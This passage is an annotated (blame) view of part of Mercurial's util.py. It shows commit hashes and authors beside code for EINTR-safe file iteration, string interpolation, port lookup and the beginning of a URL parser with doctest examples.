    # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2434
    # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2435
    if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2436
        # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2437
        def _safeiterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2438
            return iter(fp.readline, '')
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2439
    else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2440
        # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2441
        # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2442
        def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2443
            fd = fp.fileno()
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2444
            line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2445
            while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2446
                try:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2447
                    buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2448
                except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2449
                    # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2450
                    if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2451
                        continue
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2452
                    else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2453
                        raise
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2454
                line += buf
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2455
                if '\n' in buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2456
                    splitted = line.splitlines(True)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2457
                    line = ''
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2458
                    for l in splitted:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2459
                        if l[-1] == '\n':
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2460
                            yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2461
                        else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2462
                            line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2463
                if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2464
                    break
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2465
            if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2466
                yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2467
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2468
    def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2469
        fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2470
        if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2471
            fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2472
        if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2473
            return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2474
        else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2475
            return _safeiterfile(fp)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2476
else:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2477
    # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2478
    def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
  2479
        return fp
30405
10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents: 30369
diff changeset
  2480
7879
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2481
def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2482
    for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2483
        for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents: 7875
diff changeset
  2484
            yield line
9610
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2485
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2486
def expandpath(path):
d78fe60f6bda make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents: 9569
diff changeset
  2487
    return os.path.expanduser(os.path.expandvars(path))
10239
8e4be44a676f Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents: 10199
diff changeset
  2488
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2489
def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2490
    """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2491
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2492
    prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2493
    a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2494
    a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2495
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2496
    fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2497
    just before replacement.
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2498
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2499
    escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2500
    its escaping.
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2501
    """
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2502
    fn = fn or (lambda s: s)
13392
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2503
    patterns = '|'.join(mapping.keys())
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2504
    if escape_prefix:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2505
        patterns += '|' + prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2506
        if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2507
            prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2508
        else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2509
            prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents: 13375
diff changeset
  2510
        mapping[prefix_char] = prefix_char
35166
25c543944bc0 py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35053
diff changeset
  2511
    r = remod.compile(br'%s(%s)' % (prefix, patterns))
11988
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2512
    return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
8380ed691df8 util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents: 11946
diff changeset
  2513
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2514
def getport(port):
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2515
    """Return the port for a given network service.
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2516
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2517
    If port is an integer, it's returned as is. If it's a string, it's
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2518
    looked up using socket.getservbyname(). If there's no matching
26587
56b2bcea2529 error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26493
diff changeset
  2519
    service, error.Abort is raised.
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2520
    """
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2521
    try:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2522
        return int(port)
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2523
    except ValueError:
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2524
        pass
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2525
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2526
    try:
36076
15c8c4ac5d9c py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35940
diff changeset
  2527
        return socket.getservbyname(pycompat.sysstr(port))
12076
49463314c24f mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents: 12054
diff changeset
  2528
    except socket.error:
37099
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37098
diff changeset
  2529
        raise error.Abort(_("no port number associated with service '%s'")
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37098
diff changeset
  2530
                          % port)
12087
a88a4720c2f0 parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents: 12086
diff changeset
  2531
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2532
class url(object):
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
  2533
    r"""Reliable URL parser.
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2534
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2535
    This parses URLs and provides attributes for the following
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2536
    components:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2537
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2538
    <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2539
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2540
    Missing components are set to None. The only exception is
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2541
    fragment, which is set to '' if present but empty.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2542
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2543
    If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2544
    parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2545
    False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2546
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2547
    See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2548
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2549
    Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2550
    take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2551
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2552
    Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2553
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2554
    >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2555
    <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2556
    >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2557
    <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2558
    >>> url(b'file:///home/joe/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2559
    <url scheme: 'file', path: '/home/joe/repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2560
    >>> url(b'file:///c:/temp/foo/')
14915
28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents: 14825
diff changeset
  2561
    <url scheme: 'file', path: 'c:/temp/foo/'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2562
    >>> url(b'bundle:foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2563
    <url scheme: 'bundle', path: 'foo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2564
    >>> url(b'bundle://../foo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2565
    <url scheme: 'bundle', path: '../foo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2566
    >>> url(br'c:\foo\bar')
14146
1618c4f6f15b tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents: 14100
diff changeset
  2567
    <url path: 'c:\\foo\\bar'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2568
    >>> url(br'\\blah\blah\blah')
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
  2569
    <url path: '\\\\blah\\blah\\blah'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2570
    >>> url(br'\\blah\blah\blah#baz')
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  2571
    <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2572
    >>> url(br'file:///C:\users\me')
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  2573
    <url scheme: 'file', path: 'C:\\users\\me'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2574
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2575
    Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2576
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2577
    >>> url(b'ssh://joe:xyz@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2578
    <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2579
    >>> url(b'ssh://joe@x/repo')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2580
    <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2581
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2582
    Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2583
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2584
    >>> url(b'http://host/a?b#c')
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2585
    <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2586
    >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2587
    <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2588
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2589
    Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2590
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2591
    >>> url(b'')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2592
    <url path: ''>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2593
    >>> url(b'#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2594
    <url path: '', fragment: 'a'>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2595
    >>> url(b'http://host/')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2596
    <url scheme: 'http', host: 'host', path: ''>
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2597
    >>> url(b'http://host/#a')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2598
    <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2599
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2600
    Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2601
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  2602
    >>> url(b'http:')
30036
3f4e1c033f40 url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents: 30031
diff changeset
  2603
    <url scheme: 'http'>
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2604
    """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2605
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2606
    _safechars = "!~*'()+"
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  2607
    _safepchars = "/!~*'()+:\\"
30339
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30338
diff changeset
  2608
    _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2609
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2610
    def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2611
        # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2612
        self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2613
        self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2614
        self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2615
        self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2616
        self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2617
15074
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  2618
        if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  2619
            path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents: 15066
diff changeset
  2620
14699
388af80c058b url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14640
diff changeset
  2621
        # special case for Windows drive letters and UNC paths
30339
dadb00a0ec0f util: use '\\' rather than using r'\'
Augie Fackler <augie@google.com>
parents: 30338
diff changeset
  2622
        if hasdriveletter(path) or path.startswith('\\\\'):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2623
            self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2624
            return
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  2625
